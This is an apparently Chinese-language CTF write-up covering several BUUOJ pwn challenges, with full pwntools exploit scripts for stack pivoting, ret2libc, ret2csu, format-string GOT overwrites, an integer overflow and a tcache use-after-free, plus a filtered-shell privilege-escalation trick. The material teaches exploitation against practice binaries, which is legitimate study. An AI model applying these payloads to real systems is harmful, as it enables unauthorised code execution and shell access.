这个题有问题,就给了个附件,给的链接nc都连不上,做做题算了。
保护
可以往bss上写东西,然后有个溢出,但是溢出有限,只能覆盖到返回地址。
因为开了NX,所以不能写shellcode,因为溢出有限,所以先想到的是栈迁移。
把栈迁移到bss上,构造ROP,通过write函数泄露libc地址,然后就在bss上一把梭。
写法很多,我这里的话就直接先把’/bin/sh\x00’先写在了bss的位置。
exp
from pwn import*
from LibcSearcher import*
#r = remote('node3.buuoj.cn', 26463)
r = process('./31')
context.log_level = "debug"
elf = ELF('./31')
bss_addr = 0x804A300
leave_ret = 0x08048408
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
gdb.attach(r)
payload1 = '/bin/sh\x00' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendafter('What is your name?', payload1)
payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)
write_addr = u32(r.recv(4))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
print hex(write_addr)
payload1 = '/bin/sh\x00' + p32(system_addr) + 'aaaa' + p32(bss_addr)
r.sendafter('What is your name?', payload1)
payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)
r.interactive()
题目有问题,没有给libc,LibcSearcher匹配到的libc也不对,但是思路跟脚本肯定没问题。
然后要注意一个东西
第二个send那里,写send的话就对,但是写sendline就不对,为啥呢,因为read只读20个,但是你发了21个,最后一个’\n’会在下一个send时候一起发出去,错误的时候效果图如下。
保护
格式化字符串漏洞,刚开始的想法是只要把返回地址改成后门函数那里就好了。但是需要写的是一个大数字,题目给的一些条件不允许我们在栈上写一个大数字。
所以我们只能是改一改其他地方的东西。
第一种是改__stack_chk_fail
这个函数是如果存在栈溢出的话就执行这个,说白了是因为开启了canary带来的效果,所以我们就把这个函数的got表改成后门函数,其实写大数的话保险点应该是一个字节一个字节写,但是buf大小限制,所以还是两个字节那样写吧。
from pwn import *
r = remote("node3.buuoj.cn",26360)
elf = ELF('./33')
__stack_chk_fail = elf.got['__stack_chk_fail']
payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
r.sendline(payload)
r.interactive()
还有一种比较厉害,实现起来也稍稍复杂的更普遍性的做法。
可以利用第一次格式化字符串漏洞把.fini_array给改掉,改成main函数,那么我们首先就实现了一个循环利用,让我们可以有更多的格式化字符串漏洞,更多的利用方式。然后我们可以把printf的got改掉,改成system,这样就可以了。
这个题的话也可以直接把.fini_array改成backdoor。
exp的话跟上面那个其实差不多,就不再写了。
保护
明显的一个栈溢出,溢出大小还正好能够通过write函数泄露地址然后一把梭。
exp
from pwn import*
#r = remote('node3.buuoj.cn',27964)
r = process('./32')
elf = ELF('./32')
libc = ELF('./libc-2.29.32.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
payload = 'a' * 0x8c + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendafter('Input:\n', payload)
write_addr = u32(r.recv(4))
print hex(write_addr)
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
print hex(libc_base)
payload = 'a' * 0x8c + p32(system_addr) + p32(main_addr) + p32(bin_sh)
r.sendafter('Input:\n', payload)
r.interactive()
进行一个任意地址的小数字写入。
所以直接写就好了。
exp
from pwn import*
r = remote('node3.buuoj.cn', 29261)
x_addr = 0x804A02C
payload = 'aaaa%14$naaa' + p32(x_addr)
r.sendline(payload)
r.interactive()
ssh1
那么开始解题
ssh -p 26161 [email protected]
先连上。
里面三个文件,flag,test,跟test的源码,直接读flag不能,权限不够,那么只能考虑通过test提权。
程序大概内容就是能够输入指令,这个时候的指令是足够提权的,但是程序对指令做了过滤。
ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
-v 命令排除
-E 多个内容
/usr/bin/ /bin/ 可以把所有命令列出来
这个句子可以查询一下还有啥命令能用
其实我也不大清楚,看了看x86_64的手册
更改报告的体系结构并设置个性标志。
先记着吧。
fgetc函数
C 库函数 int fgetc(FILE *stream) 从指定的流 stream 获取下一个字符(一个无符号字符),并把位置标识符往前移动。
所以看半天就是会输出flag
我们就覆盖过去就行。
但是要注意的是什么呢
看他最后的返回,并不是常用的leave|ret,而是直接add|ret,这其实是编译的优化,用来省寄存器。
所以写exp的时候就不用考虑覆盖rbp了
exp
from pwn import*
r = remote('node3.buuoj.cn', 25451)
good_addr = 0x400620
payload = 'a' * 0x88 + p64(good_addr)
r.sendlineafter('Input your message:\n', payload)
r.interactive()
exp
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 26826)
elf = ELF("./37")
read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
payload = "a" * 0x8c + p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(read_got) + p32(4)
r.sendline(payload)
read_addr = u32(r.recvuntil("\xf7")[-4:])
#read_addr = u32(r.recv(4)) 也行,但是上面的更普遍一点。
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)
r.interactive()
保护
判断输入的大小,你看它写的太明显了,上面nbytes前面是int,下面就又是unsigned int,整数溢出,然后又有后门函数,就搞定了。
exp
from pwn import*
context.log_level = "debug"
r = remote('node3.buuoj.cn', 28944)
backdoor = 0x400726
payload = 'a' * 0x18 + p64(backdoor)
r.sendlineafter('[+]Please input the length of your name:\n', '-1')
#记得-1要加引号
r.sendlineafter('[+]What\'s u name?', payload)
r.interactive()
但是其实我们在动态调试的时候你会发现,rdx是200,是足够大的。
那我们再来说一说万一不是0x200咋办。
就可以直接ret2csu。
通过libc_csu_init里面的gadget来构造我们的ROP。
exp
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 25360)
elf = ELF("./level3_x64")
read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(main_addr)
r.sendlineafter("Input:", payload)
read_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
r.sendlineafter("Input:", payload)
r.interactive()
三个函数,增,删,跟展示。
一个一个分析。
这个是增。
刚开始就判断数量,然后还判断其他乱七八糟的,然后就增加女朋友,但是你发现,它始终是在对gf[0]进行操作,所以其实它看着是最多七个女朋友,其实就一个。
gf的结构是这样的。
再看看dele函数。
这函数看似没啥问题,但是首先从逻辑上来说,我们本来就一个女朋友,所以free的时候根本就可以在free别的地方。
然后呢,free后也没有清理指针,就造成了UAF。
这输出也是看似正常,如果gf[v]里面有东西的话,就调用那个函数,输出名字。
但是其实一般来讲不会有东西的,因为我们始终只有一个女朋友,所以你输其它的女朋友就啥都打不出来。
那么怎么利用?
申请一个0x10的名字,然后都释放掉,它俩都是0x20大小,就会进入tcachebins。先释放的是0x1fd4280.
0x1fd4260里面还放着后面那个80的地址。
再add一下,就变成了下面这样
会发现tcache是后进先出,而且你会发现,为啥第一次add就是会申请两个chunk,但是第二次明显只申请了一个chunk。
是因为这个。
所以现在gf[0]里面放着的是第一的时候申请的chunk地址即0x1fd4260。
然后gf放puts函数的地方现在放着的是system的地址,通过最后那一次show,就可以拿到shell。